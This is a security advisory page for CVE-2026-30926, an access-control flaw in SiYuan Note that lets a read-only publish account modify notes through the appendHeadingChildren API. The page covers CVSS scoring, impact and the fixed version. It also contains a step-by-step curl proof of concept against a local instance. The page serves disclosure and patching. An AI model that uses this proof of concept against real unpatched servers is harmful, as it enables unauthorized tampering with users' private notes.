Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-30926 — siyuan

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-284 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren ### Summary A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint. The endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents. This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes. ### Details File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code: ``` - router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren) - api/block.go: model.AppendHeadingChildren(id, childrenDOM) - model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation) - session.go: CheckAuth accepts RoleReader as authenticated ``` Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes. ### PoC 1. Enable publish service and create low-privilege account ``` curl -u workspace: \ -H "Content-Type: application/json" \ -d '{ "enable": true, "port": 6808, "auth": { "enable": true, "accounts": [ { "username": "viewer", "password": "viewerpass" } ] } }' \ http://127.0.0.1:6806/api/setting/setPublish ``` 2. Create a test notebook and document (admin) ``` curl -u workspace: \ -H "Content-Type: application/json" \ -d '{"name":"AuditPOC"}' \ http://127.0.0.1:6806/api/notebook/createNotebook ``` Create a document containing a heading: ``` curl -u workspace: \ -H "Content-Type: application/json" \ -d '{ "notebook":"", "path":"/Victim", "markdown":"# VictimHeading\n\nOriginal paragraph" }' \ http://127.0.0.1:6806/api/filetree/createDocWithMd ``` 3. Retrieve heading block ID (low-priv publish account) ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \ http://127.0.0.1:6808/api/query/sql ``` Example response: ``` { "id":"20260307093334-05sj7bz", "root_id":"20260307093334-vsa6ft0" } ``` 4. Generate block DOM ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"dom":"

InjectedByReader

"}' \ http://127.0.0.1:6808/api/lute/html2BlockDOM ``` 5. Append block using the vulnerable endpoint ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{ "id":"20260307093334-05sj7bz", "childrenDOM":"
InjectedByReader
" }' \ http://127.0.0.1:6808/api/block/appendHeadingChildren ``` Server response: ``` {"code":0} ``` 6. Verify unauthorized modification ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \ http://127.0.0.1:6808/api/query/sql ``` Result includes attacker-controlled content: ``` InjectedByReader ``` This confirms that the low-privilege publish user successfully modified the document. ### Impact This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content. Potential impacts include: • Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-30926 is classified as CWE-284: Improper Access Control. The software does not restrict an action to the actors that should be allowed to perform it.

Affected software

CVE-2026-30926 is recorded against 2 packages.

  • github.com/siyuan-note/siyuan/kernel
  • siyuan (fixed in 3.5.10)

Timeline and source

Published on 9 March 2026 and last revised on 23 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

github.com/siyuan-note/siyuan/kernel has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-284: Improper Access Control) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
CWE CWE-284
Public Exploit ✅ No
Source NVD
Published 2026-03-09
Updated 2026-08-20
Modified 2026-03-23
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/siyuan-note/siyuan/kernel
siyuan 3.5.10

Similar Threats

Site Security Check

Is siyuan part of your stack?

CVE-2026-30926 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026